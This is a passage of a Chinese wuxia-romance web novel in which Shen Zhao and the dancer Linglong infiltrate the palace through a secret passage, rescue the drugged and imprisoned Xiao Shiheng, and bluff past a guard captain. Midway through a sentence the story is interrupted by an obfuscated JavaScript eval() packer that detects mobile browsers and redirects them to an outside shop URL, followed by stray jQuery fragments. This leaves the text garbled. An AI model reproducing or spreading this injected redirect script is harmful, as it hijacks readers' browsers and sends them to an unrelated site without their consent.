沈昭还是和昨晚一样,跟着玲珑左拐右拐,走到了那个0号房门前。
玲珑弯起手指,敲了敲门。
“进来吧。”里面传来了一个少年的声音。
玲珑和沈昭推门进去,看见那个身形修长的少年依旧是折腾着他的瓶瓶罐罐,戴着个大斗篷。快午时的阳光照在他的斗篷上,显出姣好的身体轮廓。他回过头来,一张清秀的脸庞显现出来。
“我……”沈昭说。
“先别说话。”红娘说道,“帮我把这个药煎好。”
玲珑闻言,自觉推门出去了。
于是沈昭化身煎药小妹,一边盯着炉火,一边扇着扇子,时不时还要擦擦头上的汗。
天可怜见,沈昭之前在家里也是大小姐做派,没有干过这类粗活。
沈昭从快中午煎药煎到晚上,连饭都没吃,累的呼哧呼哧,还没跟红娘把事情说到正题上。
“红娘!红娘!”沈昭叫道,“流程我都熟了,药也煎好了。”
“听见了,我两只耳朵都听见了。”红娘回过头,就差把自己的耳朵提起来了。他清秀的脸庞盯着沈昭,说,“其实我也知道你是为了什么事情来的,为了谁来的。”
“你为什么这么帮他?据我所知,你们两个还没感情好到这份上吧。”
沈昭回想起从大理寺回来的时候,萧世珩站在雪里在门口等自己的场面,连父亲都没来,他却一直在。还有他说起来自己想带母亲过普通人的生活的场景。
窗外一只鸟扑腾扑腾飞上了天空,树枝晃悠晃悠,刚长出的嫩绿的叶子落下了几片。
沈昭闭上了眼睛,她觉得萧世珩让自己放心不下,就像多年前,自己帮过的追兵追着的那个孩子一样。
“连鸟儿都有一飞冲天的自由,他却一直在宫里与豺狼虎豹斡旋,从没有过这样的感受。”
“如果可以,我想让他体验到普通人生活的乐趣,也许,就在他有生之年。”
“而不是,在宫里这块四四方方的天里,一直被囚禁到死。”
“玄镜司帮不上忙。”红娘说,“与这当今的圣上为敌,玄镜司做不到,而且首领好久没发号施令了。”
“但是,巧的是,玄镜司不规范每个人想做什么。”红娘话题一转,冲沈昭微笑,“我想,玲珑也许愿意帮你。”
“玲珑,她一个弱女子,不行不行。”沈昭摇摇头。
“弱女子?可不要小瞧玲珑!玲珑已经被我训练出来了,她表面上是我们醉春风的舞姬,实际上是我们醉春风的打手。”
“怪不得身手这么好。”
“还有就是,你知道萧世珩关在哪里了吗?”红娘问道。
沈昭摇摇头:“在他原来的宫殿里了,具体哪个位置不知道。”
“给你个宫里的地图,这是各宫的位置。去的时候找准位置,别跑错了地方。”
“再给你个东西,这是刚刚让你煎的药炼成的。”红娘说,“这个丹药,可以瞬间提升一个人的身体各方面的能力,带去吧。”
沈昭突然想起来去绣房调查的时候萧世珩吞下的那个丹药,似乎是和这个丹药有异曲同工之妙。
“去吧。”红娘说完话,背过身去,继续侍弄他的瓶瓶罐罐了。
“玲珑。”等回到自己的房间,沈昭对着玲珑说话,却不知道该怎么开口。
“是因为萧世珩的事才来找楼主的吧?”玲珑睁着大大的眼睛,突然一笑。
沈昭看呆了,玲珑平时很少笑,不愧是能引得王公贵族们争风吃醋的美人,回眸一笑百媚生。
“确实是这样的。”沈昭挠挠头,说道。
“我愿意帮你和萧世珩。”玲珑说,“但是我还有醉春风的工作。”
“我们可以等到晚上再行动。”沈昭说。
“我们怎么潜入宫中?”玲珑正要走,沈昭问道。
“硬闯。”
“算了,我就不该和你商量。”沈昭无语。
她盯着玲珑大大的眼睛,突然想起绣房那天晚上的时候,玲珑也是这样一双大大的眼睛,目不转睛地盯着在场每一个人。
“对了,我们可以通过绣房的密道。”
沈昭突然福至心灵。
“然后呢,我们两个还好说,但是带着萧世珩,怎么躲过宫中的侍卫?”沈昭自问自答。
“那就和我上次一样,打晕宫女,换上她的衣服。”玲珑说。
“非常好。”沈昭给玲珑竖了个大拇指。
“那就今晚三更,行动!”
等晚上街上刚打过更,沈昭和玲珑就穿着夜行衣在屋顶上飞驰,跑到了绣房。
“身手真不错。”沈昭对玲珑说。
“你也不差。”玲珑说。
两个人通过绣房的密道闯入宫中,从枯井里上来。
沈昭拿着地图,找准了位置,和玲珑在宫檐上一路飞奔到萧世珩曾经的寝宫。
萧世珩从噩梦中惊醒。
已经不知道是被囚禁的多少天了,外面怎么样了也不清楚,他的脑子浑浑噩噩。只觉得昏昏沉沉之中被灌了好多药。病情似乎是更加严重了。
他尝试呼唤仆人,但嗓子嘶哑发不出一点声音,而且更可怕的是,似乎是没有一个人在他身边。
他尝试睁开眼睛,却怎么也睁不开,于是自己着急地出了一身的汗。
这辈子,是不是就这样了,好不甘心啊。
萧世珩想着,于是就放任自己沉沦下去。
这时,浑浑噩噩的黑暗中,有一个人撕裂了一个口子,踏光而来。
他努力睁开眼睛,却睁不开,只能看见一个模模糊糊的影子。
影子似乎在呼唤他,那人的嘴一张一合,声音却像泡在了水里,怎么也传不到他的耳朵里。
“是谁呢?”萧世珩心想。
“萧……珩……我来了……”模模糊糊的声音终于传到了他的耳朵里。
光里的那个人似乎是要走,他害怕了,害怕这唯一的光消失,他努力伸出手,想要接触这唯一的光。
他一想动,身体一下子就苏醒了。
整个人被噩梦魇住一般,大汗淋漓。
“萧世珩,你醒了!”沈昭惊喜道。
她刚刚还想萧世珩再不醒,就扇他几巴掌,刚一起身,没想到自己就醒了。
“沈昭……你又救了我一次。”萧世珩整个人像是被汗水浸泡过一样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17882838|212490||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
“别说话了。”玲珑在旁边说道,给沈昭递过毛巾。
沈昭给萧世珩擦了擦头上的汗。
“能动吗?”沈昭忧心地问。
“不太能。”萧世珩温柔地说道。
“我们要想办法把你带出去。”沈昭把丹药拿到萧世珩眼前,“临时吃吃药呢。”
“谁给你的这个?”萧世珩问沈昭。
“楼主。”玲珑回答。
萧世珩将药吞下。
他身上的汗渐渐下去,头脑也逐渐清醒了。
“可我们怎么出去?”萧世珩问道,“门口禁军把守,凶多吉少。”
“总要试试。”沈昭回答道,咔蹦咔蹦掰了掰自己的手指。
萧世珩去里屋换了一身新衣服,三人慢慢挪腾到宫门前。
沈昭先是在墙上,拿块石头往外一丢。还在睡觉的禁军醒来,左右晃头没看见人,正要睡去,沈昭从墙上一跃而下,往这人脖颈一拍。
那人“额”了一声,就倒下了。
然后沈昭在外面打开门,让萧世珩穿上禁军的衣服。玲珑和沈昭则是换上早早准备好的宫女的衣服。
三人就这样明目张胆的往宫门走。
等到了宫门,几人依旧像没什么异常地走了出去。
这时,却被门口一人叫住了:“等等。”
沈昭回头一看,却是那日春猎时候的禁军头头秦列。
三人顿时如临大敌却只能故作镇静。
“你的值班牌呢?”秦列鹰眼一般锐利的眼睛紧盯着萧世珩。
沈昭突然想起来,在宫里什么时间什么时间值班都有值班牌,上面都刻好了字,若是不对的话,他们就露馅了。
而这个人的值班牌上的时间,肯定是要比他们出宫的时间晚的。
萧世珩低着头,递出了自己的牌子。
秦列盯了半晌,萧世珩说:“用了太久,牌子有些磨损。”
秦列把牌子一扔,还给了萧世珩:“没有问题,你走吧。”
“谢谢长官。”萧世珩说道。
“牌子怎么会没有问题?”沈昭糊涂了。
“一看你就是没有在宫里生活的经验。”萧世珩回答道,“我在换禁军的衣服的时候,就把他的牌子时间改了,以防万一。”
三人就这么回到了醉春风。
“打扰了。”等见到了楼主——红娘之后,萧世珩鞠躬说道。
“确实是打扰了。”红娘说道,“让两个花朵般的女子来救你为你忧心,就是皇子也不行。”
“哈哈哈。”萧世珩笑起来,说道,“我快坚持不住了。”
“那两位姑娘从房间出去吧,我来给端王爷瞧瞧。”红娘说道,“看看我这里有没有他能用的药。”
“有劳了。”萧世珩伸手作了个请的姿势。
“我派人去了冷宫。”一关上门,萧世珩抽气一样的倒下了,红娘赶紧把他扶到床上。
“宝珠说魏贵妃把这个给你了。”
红娘把一个玉做的令牌拿给萧世珩,最上面是个虎符,牌子上写着“镇守敦西”四个大字。
“敦西?母亲曾经起兵的地方。”萧世珩若有所思。